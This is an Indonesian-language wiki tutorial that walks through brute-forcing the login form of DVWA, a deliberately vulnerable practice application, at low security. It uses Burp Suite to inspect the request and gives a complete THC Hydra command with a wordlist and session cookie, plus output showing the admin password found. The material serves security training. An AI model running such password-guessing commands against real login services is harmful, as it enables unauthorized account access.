View source for DVWA: Brute Force login low

Tutorial bagaimana caranya melakukan brute force attack untuk memperoleh passsword di DVWA dengan low securiry.

==Kebutuhan Alat==

* Kali Linux
* DVWA x1.9 jalan di mesin yang terpisah

==Langkah 1: intelejen==

Pekerjaan rumah yang harus di selesaikan:
* apa yang terjadi saat user submit form?
* apakah GET atau POST request?
* kemana request tersebut di kirim?
* bentuk data yang dikirim?

Kita akan menggunakan Burp Suite sebagai proxy.

 HTTP request now:
 Our browser -> Target server

 HTTP request through a proxy:
 Our browser -> Proxy server -> Target server


Dengan Burp Suite bekerja sebagai proxy, kita bisa melihat / inspect HTTP request yang terjadi.

==Siapkan DVWA==

* login ke DVWA
* Klik DVWA Security (di bagian bawah)
* Ubah Security Level > Low
* Klik Submit


==Setup Proxy==

Masuk ke

 Applications > Favorites > burpsuite

Cek proxy running

 Klik Proxy (Tap Kiri Atas) > Options

lihat bahwa:
* proxy berjalan di 127.0.0.1:8080
* kondisi running


Setup browser, di Kali Linux kita menggunakan Iceweasel.
Pastikan proxy menggunakan burpsuite, caranya,
* Klik kanan pada Iceweasel > aktifkan menu - supaya hidup kita mudah.
* Klik Edit > Preferences > Advanced > Network > Settings
* Pindahkan dari

  use system proxy settings > manual proxy configuration

* Pastikan proxy di set ke burpsuite 127.0.0.1 port 8080

Silahkan browse ke sasaran dengan kondisi brupsuite interceptor on.

==Analisa login request==

Dengan interceptor enabled.
Browse ke sasaran, misalnya,

 http://target.site/DVWA-1.0/vulnerabilities/brute/
 http://192.168.0.100/DVWA-1.0/vulnerabilities/brute/

Semua request dari browser akan di tahan oleh brupsuite. 
Kita dapat inspect, modify, drop, atau forward request tersebut.

Tanpa memasukan username / password, tekan tombol login.
Lihat request yang ada di brupsuite. 
Kita harusnya melihat beberapa key info,

* Ini adalah GET request
* login paramater (username=&password=&Login=Login)
* '''Cookie: security=low; PHPSESSID=ahs8eugnukjkh9auegathrbfg5'''

Dengan informasi ini kita dapat mebuat request yang sama, dan menggunakannya untuk brute force attack.

==Langkah 2: Serang==

Kita akan menggunakan THC hydra untuk melakukan rapid dictionary attack pada layanan authentikasi.
hydra mempunyai banyak pilihan, bisa dilihat menggunakan

 hydra -h

Yang kita perlu masukan ke hydra untuk serangan kita adalah:

* target server
* URL path
* username
* password dictionary
* cookie
* failure message

Kita akann cheat sedikit dengan menggunakan username admin, kita bisa saja menggunakan username dictionary, hanya membuat proses menjadi lebih lama. Kita akan fokus ke password dulu.

Failure message adalah responds yang akan kita dapat dari login form jika kita gagal login. Ini adalah string yang di cari hydra dari responds HTML yang ada.

Hasil akhir perintah adalah sebagai berikut,

 hydra 192.168.0.100 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt  http-get-form "/DVWA-1.9/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=ahs8eugnukjkh9auegathrbfg5"

==In action:==

Hasilnya kira-kira,

 Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
 Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-04 05:28:01
 [DATA] max 16 tasks per 1 server, overall 64 tasks, 141 login tries (l:1/p:141), ~0 tries per task
 [DATA] attacking service http-get-form on port 80
 [80][http-get-form] host: 192.168.0.100   login: admin   password: password
 1 of 1 target successfully completed, 1 valid passwords found
 Hydra (http://www.thc.org/thc-hydra) finished at 2017-03-04 05:28:02

==Referensi==

* https://medium.com/@dannybeton/dvwa-brute-force-tutorial-low-security-463880d53e50#.ehax731nt